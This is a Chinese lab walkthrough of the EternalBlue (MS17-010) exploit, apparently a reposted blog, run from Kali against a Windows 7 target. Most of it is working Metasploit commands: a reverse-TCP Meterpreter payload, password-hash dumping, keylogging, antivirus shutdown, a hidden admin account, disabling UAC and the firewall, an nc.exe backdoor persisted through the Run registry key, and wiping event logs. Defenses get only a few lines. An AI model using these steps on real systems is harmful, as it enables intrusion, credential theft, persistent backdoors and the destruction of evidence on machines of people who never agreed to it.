资讯详情

永恒之蓝漏洞复现(ms17-010)

文章目录

  • 一、永恒之蓝(Eternal Blue)
  • 二、复现环境
  • 三、复现过程
    • 1.主机发现
    • 2.进入MSF框架
    • 3.使用ms17-010扫描模块,扫描靶机
      • 3.1使用模块
      • 3.2检查模块需要配置的参数
      • 3.设置攻击目标
      • 3.再次检查配置参数
      • 3.5执行扫描
    • 4.使用ms17-010攻击模块攻击靶机
      • 4.查看这个漏洞的信息
      • 4.查看可攻击的系统平台
      • 4.3.检查攻击载荷
      • 4.4.设置攻击载荷(默认)windows/x64/meterpreter/reverse_tcp)
      • 4.查看参数配置
      • 4.设定目标攻击目标ip
      • 4.6设置监控主机(kali)
      • 4.7执行攻击
    • 5.后渗透阶段
      • 查看主机系统信息
      • 查看主机ip
      • 查看用户身份
      • 获得shell控制台
      • 从目标主机开始shell退出到meterpreter
      • 获取截屏
      • 获取用户密码
      • 创建新的管理员账户
        • 进入shell控制台
        • 在目标主机上创建一个名称hack密码为123的用户
        • 将hack加入到windows 为了获得更管理员组中,为了获得更大的权限
        • 查看本地用户
        • 查看当地管理员
      • 打开远程桌面
    • 6.关闭主机防护策略,打开后门
      • 6.查看用户和密码
      • 6.创建防火墙规则
      • 6.3关闭UAC
      • 6.4开始默认共享
      • 6.使用扫描模块
      • 6.6检查需要设置的参数
      • 6.7上传后门程序
      • 6.8设置键值
      • 6.9重启目标主机
    • 7.清除事件日志
  • 四、漏洞防御
  • 参考文章
  • 复制过程中出现的问题


一、永恒之蓝(Eternal Blue)

永恒之蓝是在 Windows 的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。开放445文件共享端口将通过永恒蓝漏洞扫描Windows机器,不需要任何用户操作,只要启动互联网,罪犯就可以植入勒索软件、远程控制木马、虚拟货币挖掘机等恶意程序。

二、复现环境

攻击机:kali (192.168.203.130) 靶机:Windows 7 (192.168.203.134)

三、复现过程

1.主机发现

nmap进行ip端口扫描:

nmap -T4 -A -v 192.168.203.134#靶机ip地址 

扫描到445端口开放,永恒之蓝使用445端口smb操作系统作系统溢出漏洞。 在这里插入图片描述

2.进入MSF框架

msfconsole 

search ms17-010 

通过这两个工具,其中 0 exploit/windows/smb/ms17_010_eternalblue它是一个永恒的蓝色攻击代码,通常两者一起使用,前者先扫描,如果有漏洞,然后攻击。 3 auxiliary/scanner/smb/smb_ms17_010是一个永恒的蓝色扫描模块,检测主机是否存在MS17-010漏洞。

3.使用ms17-010扫描模块,扫描靶机

3.1使用模块

该模块不会直接访问攻击机和靶机,它们只负责扫描、嗅探和指纹识别,以帮助渗透测试。

use auxiliary/scanner/smb/smb_ms17_010 

3.2检查模块需要配置的参数

show options 

Required栏中选项为yes说明对应Current Setting栏目需要填写,比如RHOSTS。

3.设置攻击目标

RHOSTS 要探测主机的参数ip或ip范围 设定攻击目标ip:

set rhosts  192.168.203.134 

3.再次检查配置参数

show options  

3.5执行扫描

run 

显示主机可能很容易接受 MS17-010 的攻击! - Windows 7 x64(64 位)

4.使用ms17-010攻击模块攻击靶机

use exploit/windows/smb/ms17_010_eternalblue 

4.查看这个漏洞的信息

info 

4.查看可攻击的系统平台

该命令显示了攻击模块的特定操作系统版本和语言版本

show targets 

这里只有一个,有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本的。如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)。

4.3查看攻击载荷

攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令。

show payloads

该命令可以查看当下漏洞利用模块下可用的所有Payload

4.4设置攻击载荷(默认windows/x64/meterpreter/reverse_tcp)

set payload windows/x64/meterpreter/reverse_tcp

4.5查看参数配置

show options

4.6设置目标攻击目标ip

set rhosts 192.168.203.134(如果有多个攻击目标ip间直接用空格隔开就行)

4.6设置监听主机(kali)

set LHOST 192.168.203.130

4.7执行攻击

exploit(run)

攻击成功,显示下图: 在这里可以进行文件上传下载,获取截屏,获取密码,使用摄像头拍照,后门持久化等操作。

5.后渗透阶段

运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即攻击者的本地主机地址(LHOST)和端口号(LPORT)。

在meterpreter > 中我们可以使用以下的命令来实现对目标的操作:
sysinfo             #查看目标主机系统信息
run scraper         #查看目标主机详细信息
hashdump        #导出密码的哈希
load kiwi           #加载
ps                  #查看目标主机进程信息
pwd                 #查看目标当前目录(windows)
getlwd              #查看目标当前目录(Linux)
search -f *.jsp -d e:\                #搜索E盘中所有以.jsp为后缀的文件
download  e:\test.txt  /root          #将目标机的e:\test.txt文件下载到/root目录下
upload    /root/test.txt d:\test      #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid              #查看当前Meterpreter Shell的进程
PIDmigrate 1384     #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime            #查看主机运行时间
getuid              #查看获取的当前权限
getsystem           #提权
run  killav         #关闭杀毒软件
screenshot          #截图
webcam_list         #查看目标主机的摄像头
webcam_snap         #拍照
webcam_stream       #开视频
execute  参数  -f 可执行文件   #执行可执行程序
run getgui -u hack -p 123    #创建hack用户,密码为123
run getgui -e                #开启远程桌面
keyscan_start                #开启键盘记录功能
keyscan_dump                 #显示捕捉到的键盘记录信息
keyscan_stop                 #停止键盘记录功能
uictl  disable  keyboard     #禁止目标使用键盘
uictl  enable   keyboard     #允许目标使用键盘
uictl  disable  mouse        #禁止目标使用鼠标
uictl  enable   mouse        #允许目标使用鼠标
load                         #使用扩展库
run				             #使用扩展库
clearev                       #清除日志

示例:

查看主机系统信息

sysinfo

查看主机ip

ipconfig

查看用户身份

getuid

用户身份为: NT AUTHORITY\SYSTEM,这个也就是Windows的系统权限

获得shell控制台

shell

想要从目标主机shell退出到meterpreter

exit

获取截屏

screenshot

下面的模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。

run post/windows/manage/migrate                  #自动进程迁移     
run post/windows/gather/checkvm                  #查看目标主机是否运行在虚拟机上     
run post/windows/manage/killav                   #关闭杀毒软件     
run post/windows/manage/enable_rdp               #开启远程桌面服务     
run post/windows/manage/autoroute                #查看路由信息     
run post/windows/gather/enum_logged_on_users     #列举当前登录的用户     
run post/windows/gather/enum_applications        #列举应用程序     
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码     
run windows/gather/smart_hashdump                #dump出所有用户的hash

示例:

获取用户密码

run windows/gather/smart_hashdump或者hashdump

在网上搜索MD5破解即可查到相关破解网站:

创建新的管理员账户

进入shell控制台

在目标主机上创建一个名为hack的用户,密码为123

net user hack 123 /add

将hack加入到windows 7的本地管理员组中,以便获得更大权限

net localgroup administrators hack /add

查看本地用户

net user

查看本地管理员

net localgroup administrators

可以看到hack已经被添加到windows管理员组中。

开启远程桌面

运用getuid脚本开启目标主机远程桌面:

run getgui -e或者run post/windows/manage/enable_rdp

在kali终端输入

rdesktop 192.168.203.134#靶机ip地址

即可打开远程桌面

6.关闭主机防护策略并开启后门

6.1查看用户及密码

hashdump

6.2创建防火墙规则

创建一条防火墙规则允许4444端口访问网络,方便后期操作

shell

netsh firewall add portopening TCP 4444 "hack" ENABLE ALL

新建一个防火墙规则,允许443端口访问网络

netsh firewall add portopening TCP 443 "hack" ENABLE ALL

6.3关闭UAC

其原理就是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序损坏系统的效果。

cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

ADD 添加一个注册表项
-v 创建键值
-t 键值类型
-d 键值的值
-f 强制修改注册表项

6.4开启默认共享

开启系统主机的默认共享,默认共享对于主机文件共享非常方便,也方便黑客利用这个功能,远程执行命令。

cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

exit返回meterpreter,输入background将永恒之蓝拿到的会话保持到后台。

6.5使用扫描模块

use exploit/windows/smb/psexec

6.6查看需要设置的参数

show options

设置靶机ip:set rhosts 192.168.203.134
设置靶机账户名:set smbuser hack
设置靶机密码:set smbpass (hack账户密码hash值)
设置靶机工作组:set smbdomain WORKGROUP
运行:run

6.7上传后门程序

为了让连接持久话,我们可以上传后门程序,这样就能保持会话长久建立。在kali 里面如下路径有我们的后门程序nc 俗称瑞士军刀。我们可以将它上传到目标机c盘里面 上传nc到c盘windows文件夹中,如果想更隐蔽一点,可以在往文件夹里面上传 打开靶机window文件夹可以看到成功上传文件。

6.8设置键值

当目标机开机,程序后台运行,且监听端口为443,这个端口就是之前在shell中创建的新防火墙规则:允许443端口访问网络。

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\nc.exe -Ldp 443 -e cmd.exe'

6.9重启目标主机

reboot

在kali终端就可以直接使用

nc -v 192.168.203.134 443

连接了。 这样就可以直接通过nc监听靶机。 至此,永恒之蓝的攻击复现就完成了,后续其他的进一步攻击可以向上传nc一样上传病毒。

7.清除事件日志

由于攻击过程中的所有操作都会被记录在目标系统的日志文件之中,因此需要在完成攻击之后使用

clearev  

命令来清除事件日志:

四、漏洞防御

关闭445端口。
打开防火墙,安装安全软件。
安装对应补丁

参考文章

https://blog.csdn.net/qq_44159028/article/details/104044002
https://cxymm.net/article/dreamthe/121375464#%C2%A03.%E6%B0%B8%E6%81%92%E4%B9%8B%E8%93%9D%E5%88%A9%E7%94%A8%E4%B9%8B%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E7%99%BB%E5%BD%95%E3%80%82

复现时出现的问题

在复现时曾经使用过Windows8和Windows10来作为靶机,但是在使用ms17-010攻击模块

use exploit/windows/smb/ms17_010_eternalblue

时,却出现这样的错误提示: Windows8

Started reverse TCP handler on 192.168.203.130:4444 
192.168.203.132:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
192.168.203.132:445   - Host is likely VULNERABLE to MS17-010! - Windows 8 9200 x64 (64-bit)
192.168.203.132:445   - Errno::ECONNRESET: Connection reset by peer
192.168.203.132:445   - Scanned 1 of 1 hosts (100% complete)
192.168.203.132:445 - The target is vulnerable.
192.168.203.132:445 - shellcode size: 1283
192.168.203.132:445 - numGroomConn: 12
192.168.203.132:445 - Target OS: Windows 8 9200
192.168.203.132:445 - CommunicationError encountered. Have you set SMBUser/SMBPass?
192.168.203.132:445 - Exploit failed with the following error: Read timeout expired when reading from the Socket (timeout=30)
Exploit completed, but no session was created.

Windows10

搜索半天没弄明白,以后有机会再研究。

标签: 连接器ms3126f14

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台